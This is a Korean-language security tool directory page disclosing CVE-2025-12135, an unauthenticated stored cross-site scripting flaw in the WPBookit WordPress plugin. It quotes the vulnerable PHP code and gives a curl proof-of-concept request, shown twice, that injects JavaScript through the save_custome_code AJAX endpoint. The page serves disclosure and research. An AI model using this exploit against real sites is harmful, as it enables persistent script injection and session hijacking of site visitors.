Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-12135 — WPBookit <= 1.0.6 - 인증되지 않은 저장형 크로스 사이트 스크립팅 | Kitploit
도구/GitHubGitHub/d0n601/cve-2025-12135
Static Code Analysis (SAST)Vulnerability AnalysisCode AnalysisWeb Application ExploitationAuthenticationMisconfiguration
GitHubd0n601/cve-2025-12135

CVE-2025-12135

WPBookit <= 1.0.6 - 인증되지 않은 저장형 크로스 사이트 스크립팅

저장소 보기
9개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

WPBookit <= 1.0.6 - 인증되지 않은 저장형 크로스 사이트 스크립팅

WPBookit 플러그인은 save_custome_code AJAX 엔드포인트에서 사용자 권한을 검증하거나 커스텀 CSS/JS 코드를 정화하지 않는다. 이를 통해 인증되지 않은 공격자가 모든 페이지 로드 시 실행되는 임의의 JavaScript를 주입할 수 있으며, 저장형 XSS 및 잠재적인 세션 하이재킹으로 이어질 수 있다.

TL;DR 익스플로잇

root@kitploit:~
# Basic XSS injection
curl -X POST "http://localhost:1337/wp-admin/admin-ajax.php?action=wpb_ajax_post&route_name=save_custome_code" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "css_code=/* malicious */&js_code=alert('XSS');"

세부 정보

취약점은 WPB_Setting_Controller 클래스의 save_custome_code 메서드에 존재한다. 이 플러그인은 인증되지 않은 사용자에 대해 AJAX 엔드포인트를 등록하므로, 모든 방문자가 페이지 로드마다 실행되는 임의의 CSS/JS 코드를 주입할 수 있다.

취약한 코드 — /core/admin/classes/controllers/class.wpb-setting-controller.php:16-25:

root@kitploit:~
public function save_custome_code(WP_REST_Request $request){
    $css_code= $request->get_param('css_code');
    $js_code= $request->get_param('js_code');
    update_option( 'wpb_custom_code_data', [  'css_code' => $css_code,  'js_code' => $js_code ]);
}

코드 실행 — /core/shortcodes/class-wpbookit-shortcode-abstract.php:20-27:

root@kitploit:~
$wpb_custom_code= get_option( 'wpb_custom_code_data', [  'css_code' => '',  'js_code' => '' ]);

wp_add_inline_style( 'wpb-custom-code-css', stripslashes($wpb_custom_code['css_code']));
wp_add_inline_script( 'wpb-custom-code-js', stripslashes($wpb_custom_code['js_code']) );

인증되지 않은 접근 — /core/admin/classes/class.wpb-admin-routes-handler.php:15-16:

root@kitploit:~
add_action( "wp_ajax_wpb_ajax_post", [ $this, 'wpb_ajax_post' ] );
add_action( "wp_ajax_nopriv_wpb_ajax_post", [ $this, 'wpb_ajax_post' ] );

라우트 구성 — /core/admin/classes/class.wpb-admin-routes.php:118-123:

root@kitploit:~
'save_custome_code' => [
    'method' => 'post',
    'action' => 'WPB_Setting_Controller@save_custome_code',
    'nonce' => 0,
    'module' => 'setting-controller'
],

수동 재현

  1. 대상 식별 — WPBookit 플러그인이 설치된 대상
  2. 악성 JavaScript 주입:
root@kitploit:~
curl -X POST "http://localhost:1337/wp-admin/admin-ajax.php?action=wpb_ajax_post&route_name=save_custome_code" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "css_code=/* malicious */&js_code=alert('XSS');"
  1. 주입 확인 — 사이트의 아무 페이지나 방문하면 alert가 실행된다
  2. 지속성 확인 — 악성 코드는 데이터베이스에 저장되며 모든 페이지 로드 시 실행된다
도구 다운로드